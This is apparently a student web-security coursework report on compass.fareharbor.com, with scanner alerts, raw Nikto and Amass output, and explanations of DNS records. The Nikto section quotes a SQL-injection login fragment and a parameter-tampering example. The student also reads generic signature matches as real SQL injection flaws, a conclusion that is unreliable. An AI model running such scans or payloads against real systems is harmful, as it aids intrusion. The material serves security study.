If you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive.

IE2062 – Web Security

Semester 2, 2024


```
HTTP/1.1 200 OK
Date: Fri, 03 May 2024 05:02:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 516482
Connection: keep-alive
Content-Language: en-us
Content-Security-Policy-Report-Only: form-action 'self'; script-src 'unsafe-inline' 'unsafe-eval' https://content.fareharbor.me https://js.stripe.com *.adyen.com *.mxpnl.co
filestackapi.com https://js.pusher.com https://www.google.com *.googleapis.com https://ssl.google-analytics.com https://www.google-analytics.com *.adroll.com *.adroll.mgr.c
facebook.com *.cloudflare.com *.hotjar.com https://www.googletagmanager.com https://googleads.g.doubleclick.net https://www.googleadservices.com *.gstatic.com *.paypal.com
https://*.pusher.com https://ssl.google-analytics.com https://www.google-analytics.com dipr2nuw66ll.cloudfront.net fareharbor.com; frame-src https://js.stripe.com https://
*.filestackapi.com *.googletagmanager.com *.hotjar.com https://www.google.com airtable.com player.vimeo.com facebook.com *.navnal.com https://bid.g.doubleclick.net farehar
```

```
<!DOCTYPE html>
<!--
```

FAREHARBO

Made with ♥ in Amsterdam + San Francisco. <https://fareharbor.com/careers/>

Multiple X-Frame-Options Header Entries

URL:	https://compass.fareharbor.com/edit/wp-admin/admin-ajax.php
Risk:	 Medium
Confidence:	Medium
Parameter:	x-frame-options
Attack:	
Evidence:	
CWE ID:	1021
WASC ID:	15
Source:	Passive (10020 - Anti-clickjacking Header)
Alert Reference:	10020-2
Input Vector:	

Description:

X-Frame-Options (XFO) headers were found, a response with multiple XFO header entries may not be predictably treated by all user-agents.

Other Info:

```
HTTP/1.1 200 OK
Date: Fri, 03 May 2024 05:02:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
vary: Accept-Encoding
vary: Cookie
access-control-allow-origin: https://compass.fareharbor.com
access-control-allow-credentials: true
x-robots-tag: noindex
x-content-type-options: nosniff
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
x-frame-options: SAMEORIGIN
expires: Wed, 11 Jan 1984 05:00:00 GMT
{"isAuth":false}
```


IE2062 – Web Security

Semester 2, 2024

Session ID in URL Rewrite	
URL:	https://www.google-analytics.com/g/collect?v=2&tid=G-1X3V04L5Z5&utm=45je4510v9116248434za200&p=1714712561419&gcd=13131311&npa=0&dma=0&cid=1232760172.1714712562&ul=en-us&sr=1920x1080&pscdl=noapi&s=1&sid=1714712562&sct=1&seg=0&dl=https%3A%2F%2Fcompass.fareharbor.com%2Fwelcome%2F&dr=https%3A%2F%2Fcompass.fareharbor.com%2F&dt=FareHarbor%20Compass%20%7C%20FareHarbor%20Compass&en=page_view&fv=1&nsi=1&ss=1&ee=1&tf=2108
Risk:	Medium
Confidence:	High
Parameter:	sid
Attack:	
Evidence:	1714712562
CWE ID:	200
WASC ID:	13
Source:	Passive (3 - Session ID in URL Rewrite)
Alert Reference:	3-1
Input Vector:	
Description:	URL rewrite is used to track user session ID. The session ID may be disclosed via cross-site referer header. In addition, the session ID might be stored in browser history or server logs.
Other Info:	

```
POST
https://www.google-analytics.com/g/collect?v=2&tid=G-1X3V04L5Z5&utm=45je4510v9116248434za200&p=1714712561419&gcd=13131311&npa=0&dma=0&cid=1232760172.1714712562&ul=en-us&sr=1920x1080&pscdl=noapi&s=1&sid=1714712562&sct=1&seg=0&dl=https%3A%2F%2Fcompass.fareharbor.com%2Fwelcome%2F&dr=https%3A%2F%2Fcompass.fareharbor.com%2F&dt=FareHarbor%20Compass%20%7C%20FareHarbor%20Compass&en=page_view&fv=1&nsi=1&ss=1&ee=1&tf=2108 HTTP/1.1
host: www.google-analytics.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Origin: https://compass.fareharbor.com
Connection: keep-alive
Referer: https://compass.fareharbor.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Priority: u=6
Content-Length: 0
```

According to the nikto scan there are some SQL injection vulnerabilities.

```
(dinu_mrx@kali)~$
$ nikto -host https://compass.fareharbor.com/welcome/ -tuning 9 -ssl
Nikto v2.5.0

Multiple IPs found: 104.17.47.43, 104.17.48.43, 2606:4700::6811:302b, 2606:4700::6811:2f2b
Target IP: 104.17.47.43
Target Hostname: compass.fareharbor.com
Target Port: 443

SSL Info: Subject: /CN=compass.fareharbor.com
Ciphers: TLS_AES_256_GCM_SHA384
Issuer: /C=US/O=Google Trust Services LLC/CN=GTS CA 1P5
Start Time: 2024-05-03 01:25:39 (GMT+5)

Server: cloudflare
/welcome/: IP address found in the 'set-cookie' header. The IP is '1.0.1.1'. See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
/welcome/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
/welcome/: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
/welcome/: An alt-svc header was found which is advertising HTTP/3. The endpoint is: ':443'. Nikto cannot test HTTP/3 over QUIC. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Hea
/welcome/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netspa
es/missing-content-type-header/
/welcome/: IP address found in the 'cf_bm' cookie. The IP is '1.0.1.1'.
No CGI Directories found (use '-C all' to force check all possible dirs)
/welcome/kboard/: KBoard Forum 0.3.0 and prior have a security problem in forum_edit_post.php, forum_post.php and forum_reply.php.
/welcome/lists/admin/: PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is ad
/welcome/ssdfs/: Siteseed pre 1.4.2 has 'major' security problems.
/welcome/sshome/: Siteseed pre 1.4.2 has 'major' security problems.
/welcome/tiki/: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin.
/welcome/tiki/tiki-install.php: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin.
/welcome/scripts/samples/details.idc: NT ODBC Remote Compromise. See: http://attrition.org/security/advisory/individual/rfp/rfp.9901.nt_odbc
/welcome/geeklog/users.php: Geeklog prior to 1.3.8-lsr2 contains a SQL injection vulnerability that lets a remote attacker reset admin password. See: https://vulners.com/osvdb/OSVDB:2703
/welcome/admentor/adminadmin.asp: Version 2.11 of AdMentor is vulnerable to SQL injection during login, in the style of: ' or =. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-200
/welcome/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFunctions.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/postnuke/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageF
ments. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/postnuke/html/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls i
arguments. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/admentor/adminadmin.asp: Version 2.11 of AdMentor is vulnerable to SQL injection during login, in the style of: ' or =. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-200
/welcome/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFunctions.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/postnuke/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageF
ments. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/postnuke/html/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls i
arguments. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/modules/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFu
ments. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/phpBB/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFunc
ts. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/forum/My_eGallery/public/displayCategory.php: My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFunc
ts. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795
/welcome/author.asp: May be FactoSystem CMS, which could include SQL injection problems that could not be tested remotely. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1499
/welcome/agentadmin.php: ImmoBiller agentadmin.php contains multiple SQL injection vulnerabilities. See: OSVDB-35876
/welcome/shopping/diag_dbtest.asp: VP-ASP Shopping Cart 5.0 contains multiple SQL injection vulnerabilities. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0560
/welcome/reademail.pl: @Mail WebMail 3.52 contains an SQL injection that allows attacker to read any email message for any address registered in the system. Example to append to reademail
v.Account=Victim@gmail.com&print=1. See: OSVDB-2948
/welcome/utils/spirc.asp: Xpede page may allow SQL injection. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0579
/welcome/CHANGELOG.txt: Version number implies that there is a SQL Injection in Drupal 7, which can be used for authentication bypass (Drupalgeddon). See: http://cve.mitre.org/cgi-bin/cve
ins.de/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
/welcome/wp-content/plugins/gravityforms/change_log.txt: Gravity forms is installed. Based on the version number in the changelog, it is vulnerable to an authenticated SQL injection.
/welcome/wordpress/wp-content/plugins/gravityforms/change_log.txt: Gravity forms is installed. Based on the version number in the changelog, it is vulnerable to an authenticated SQL injection.

+ 699 requests: 0 error(s) and 29 item(s) reported on remote host
+ End Time: 2024-05-03 01:28:09 (GMT+5) (150 seconds)

1 host(s) tested
```

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6795>

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1499>

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704>

Amass enumeration scan.

```
(dinu_mrx@kali)-[~]
└─$ amass enum -d compass.fareharbor.com
compass.fareharbor.com (FQDN) → ns_record → cody.ns.cloudflare.com (FQDN)
compass.fareharbor.com (FQDN) → ns_record → lucy.ns.cloudflare.com (FQDN)
compass.fareharbor.com (FQDN) → cname_record → farehARBORSITES.com (FQDN)
farehARBORSITES.com (FQDN) → a_record → 104.17.48.43 (IPAddress)
farehARBORSITES.com (FQDN) → a_record → 104.17.47.43 (IPAddress)
farehARBORSITES.com (FQDN) → aaaa_record → 2606:4700::6811:302b (IPAddress)
farehARBORSITES.com (FQDN) → aaaa_record → 2606:4700::6811:2f2b (IPAddress)
104.16.0.0/14 (Netblock) → contains → 104.17.48.43 (IPAddress)
104.16.0.0/14 (Netblock) → contains → 104.17.47.43 (IPAddress)
2606:4700::/47 (Netblock) → contains → 2606:4700::6811:302b (IPAddress)
2606:4700::/47 (Netblock) → contains → 2606:4700::6811:2f2b (IPAddress)
13335 (ASN) → managed_by → CLOUDFLARENET - Cloudflare, Inc. (RIROrganization)
13335 (ASN) → announces → 104.16.0.0/14 (Netblock)
13335 (ASN) → announces → 2606:4700::/47 (Netblock)
```

compass.fareharbor.com (FQDN) --> ns_record --> cody.ns.cloudflare.com (FQDN)

This indicates that the domain compass.fareharbor.com has a nameserver (NS) record pointing to cody.ns.cloudflare.com. Nameservers are servers responsible for handling DNS queries for a domain.

compass.fareharbor.com (FQDN) --> ns_record --> lucy.ns.cloudflare.com (FQDN)

Similarly, this shows another nameserver (lucy.ns.cloudflare.com) responsible for handling DNS queries for compass.fareharbor.com.

compass.fareharbor.com (FQDN) --> cname_record --> farehARBORSITES.com (FQDN)

IE2062 – Web Security**Semester 2, 2024**

This indicates a Canonical Name (CNAME) record where compass.fareharbor.com is pointing to farehARBORSITES.com. CNAME records are used to alias one domain name to another.

farehARBORSITES.com (FQDN) --> a_record --> 104.17.48.43 (IPAddress)

farehARBORSITES.com has an A record pointing to the IPv4 address 104.17.48.43. A records map domain names to their corresponding IPv4 addresses.

farehARBORSITES.com (FQDN) --> a_record --> 104.17.47.43 (IPAddress)

Similarly, farehARBORSITES.com also has an A record pointing to another IPv4 address 104.17.47.43.

farehARBORSITES.com (FQDN) --> aaaa_record --> 2606:4700::6811:302b (IPAddress)

farehARBORSITES.com has an AAAA record pointing to the IPv6 address 2606:4700::6811:302b. AAAA records map domain names to their corresponding IPv6 addresses.

farehARBORSITES.com (FQDN) --> aaaa_record --> 2606:4700::6811:2f2b (IPAddress)

Another AAAA record for farehARBORSITES.com, pointing to the IPv6 address 2606:4700::6811:2f2b.

104.16.0.0/14 (Netblock) --> contains --> 104.17.48.43 (IPAddress)

This indicates that the IP address 104.17.48.43 is part of the IP netblock 104.16.0.0/14, which is owned by Cloudflare (ASN 13335).

104.16.0.0/14 (Netblock) --> contains --> 104.17.47.43 (IPAddress)

IE2062 – Web Security**Semester 2, 2024**

Similarly, the IP address 104.17.47.43 is also part of the same IP netblock 104.16.0.0/14.

2606:4700::/47 (Netblock) --> contains --> 2606:4700::6811:302b (IPAddress)

The IPv6 address 2606:4700::6811:302b is within the IP netblock 2606:4700::/47 owned by Cloudflare.

2606:4700::/47 (Netblock) --> contains --> 2606:4700::6811:2f2b (IPAddress)

Similarly, 2606:4700::6811:2f2b is also within the same IP netblock 2606:4700::/47.

13335 (ASN) --> managed_by --> CLOUDFLARENET - Cloudflare, Inc. (RIROrganization)

ASN 13335 (Autonomous System Number) is managed by Cloudflare (CLOUDFLARENET).

13335 (ASN) --> announces --> 104.16.0.0/14 (Netblock)

Cloudflare announces ownership of the IP netblock 104.16.0.0/14.

13335 (ASN) --> announces --> 2606:4700::/47 (Netblock)

Cloudflare also announces ownership of the IPv6 netblock 2606:4700::/47